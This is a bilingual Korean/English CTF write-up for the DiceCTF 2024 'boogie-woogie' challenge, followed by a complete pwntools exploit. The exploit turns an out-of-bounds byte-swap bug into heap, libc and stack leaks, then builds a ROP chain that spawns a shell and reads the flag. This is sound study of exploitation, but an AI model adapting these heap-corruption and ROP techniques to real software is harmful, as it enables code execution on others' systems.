[CTF Write Up] DICE CTF 2024 qual - boogie-woogie : 1-byte swap primitive to ROP

2024. 2. 5. 06:26CTF write up

 

boogie-woogie

 

 

 

 

clap

Out-Of-Bounds 취약점이 있는 바이트 스왑 함수가 있다.

 

1. 바이너리 영역에서 발생하는 Out Of Bounds 이므로 적당히 offset을 때려맞춰서 Heap 영역 주소를 얻는다. (Heap의 Top Chunk가 굉장히 크다는 것을 이용해서 임의의 탑 청크 내에 바이트를 스왑하고, 계속 주소를 줄이는 방식을 이용하면 경우의 수를 크게 줄일 수 있음)

 

2. Top Chunk의 size를 덮어서 크기를 작게 만든 후 scanf가 매우 큰 버퍼를 할당하게 만들면, Unsorted bin에 청크를 하나 넣을 수 있다. 이후 Unsorted bin의 fd에서 libc 주소를 leak 한다.

 

3. envrion 변수를 통해 stack 주소까지 leak 한다면 이제 ROP를 할 수 있다.

4. 이때 바이트 스왑 함수만으로 원하는 바이트를 넣을 수 있어야 하는데, 위에 v4, v5 변수를 이용하면 된다. stack 주소를 leak 했으므로 (임의의 메모리 + 0x61) / (v4변수 주소) 를 스왑하면 (임의의 메모리 + 0x61)에 0x61 바이트를 쓸 수 있다. 이를 이용해서 ROP 체인을 전부 쌓으면 된다.

 

There is a byte swap function that has an Out-Of-Bounds vulnerability.

1. Since this is an Out Of Bounds that occurs in the binary area, obtain the Heap area address by appropriately setting the offset. (By taking advantage of the fact that the top chunk of the heap is very large, the number of cases can be greatly reduced by swapping bytes within a random top chunk and continuously reducing the address.)

2. If you cover the size of the Top Chunk to make it smaller and then have scanf allocate a very large buffer, you can place a chunk in the Unsorted bin. Afterwards, the libc address is leaked from the fd of the unsorted bin.

3. If you leak the stack address through the envrion variable, you can now do ROP.

4. At this time, you should be able to insert the desired byte using only the byte swap function. You can use the v4 and v5 variables above. Since we leaked the stack address, if we swap (random memory + 0x61) / (v4 variable address), we can write 0x61 byte to (random memory + 0x61). You can use this to stack the entire ROP chain.

 

pwn.jail에서 돌아가기 때문에 libc를 주의해야한다. 또한 ./run.sh로 실행할 경우 Heap Layout이 달라지고 Input이 약간 괴상해지기 때문에 Payload를 잘 짜야한다.

You must be careful about libc because it runs in pwn.jail. Also, when running with ./run.sh, the heap layout changes and the input becomes a bit strange, so payload must be planned well.

 


from pwn import *
import subprocess

off = 0xF020

count = 0
while 1:

    #p = process("./run.sh")

    p = remote("mc.ax", 31040)
    p.recvline()
    a = p.recvline().decode().strip()
    p.sendline(subprocess.check_output(a,shell=True))

    #p = remote("172.17.0.3", 5000, timeout=1)

    print(hex(count))
    count = count + 1
    try:

        PIE_OFFSET = 2**64-0x18
        SAVE_OFFSET = 0x10

        for i in range(8):
            p.sendlineafter(b"exception:", "{} {}".format(PIE_OFFSET+i, SAVE_OFFSET+i).encode())
        
        # print(p.recvline())
        pie_leak = u64(p.recvuntil([b'\x55',b'\x56'], timeout=1)[-6:].ljust(8, b'\x00')) - 0xf008
        print(f'pie_leak : {hex(pie_leak)}')

        try_offset = 0x1f60b07

        p.sendlineafter(b"exception:", b"0"*0x1000 + b"9 9")
        p.sendline("1")
    
        p.sendlineafter(b"exception:", "{} {}".format(8, try_offset).encode())
        p.sendlineafter(b"exception:", b"9 9")

        while(1):
            p.recvuntil(b"iLsten c")
            a = p.recv(1)
            print(a)
            if a == b'0':
                break
            try_offset -= 0x1000
            p.sendlineafter(b"exception:", "{} {}".format(8, try_offset).encode())
        print(hex(try_offset))

        offset = try_offset-119

        p.sendlineafter(b"exception:", "{} {}".format(offset+0xa, offset).encode())
        p.sendlineafter(b"exception:", b"0"*0x1010 + b"9 9")
        p.sendline("1")


        SAVE_OFFSET = 8
        for i in range(8):
            p.sendlineafter(b"exception:", "{} {}".format(offset+i+0x10, SAVE_OFFSET+i).encode())

        p.recvuntil(b"sten c")
        # print(p.recvline())
        libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
        print(f'libc_leak : {hex(libc_leak)}')

        libc_off = libc_leak-pie_leak-0xF020

        for i in range(8):
            p.sendlineafter(b"exception:", "{} {}".format(libc_off+0x222200+i, i).encode())

        stack_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120
        print(f'stack_leak : {hex(stack_leak)}')

        var_off = stack_leak-0x20  
        heap_off = 0xe570 +offset
        print(hex(heap_off))

        for i in range(0,8):
            byte_off = ((libc_leak+0x000000000002a3e5) >> 8*i) & 0xff
            p.sendlineafter(b"exception:", "{} {}".format(heap_off-off+0x20+0x5000+byte_off, var_off-(pie_leak+0xF020)).encode())
            p.sendlineafter(b"exception:", "{} {}".format(stack_leak-(pie_leak+0xF020)+i, heap_off-off+0x20+0x5000+byte_off).encode())

        for i in range(0,8):
            byte_off = ((libc_leak+0x1d8678) >> 8*i) & 0xff
            p.sendlineafter(b"exception:", "{} {}".format(heap_off-off+0x20+0x5000+byte_off, var_off-(pie_leak+0xF020)).encode())
            p.sendlineafter(b"exception:", "{} {}".format(stack_leak-(pie_leak+0xF020)+i+0x8, heap_off-off+0x20+0x5000+byte_off).encode())

        for i in range(0,8):
            byte_off = ((libc_leak+0x000000000002a3e5+1) >> 8*i) & 0xff
            p.sendlineafter(b"exception:", "{} {}".format(heap_off-off+0x20+0x5000+byte_off, var_off-(pie_leak+0xF020)).encode())
            p.sendlineafter(b"exception:", "{} {}".format(stack_leak-(pie_leak+0xF020)+i+0x10, heap_off-off+0x20+0x5000+byte_off).encode())

        for i in range(0,8):
            byte_off = ((libc_leak+0xeb080) >> 8*i) & 0xff
            p.sendlineafter(b"exception:", "{} {}".format(heap_off-off+0x20+0x5000+byte_off, var_off-(pie_leak+0xF020)).encode())
            p.sendlineafter(b"exception:", "{} {}".format(stack_leak-(pie_leak+0xF020)+i+0x18, heap_off-off+0x20+0x5000+byte_off).encode())

        break

    except:
        try:
            p.close()
        except:
            pass

context.log_level = 'debug'
p.sendlineafter(b"exception:", "{} {}".format(0x0, 0x0).encode())
p.sendline(b'cat /srv/app/flag.txt')
p.interactive()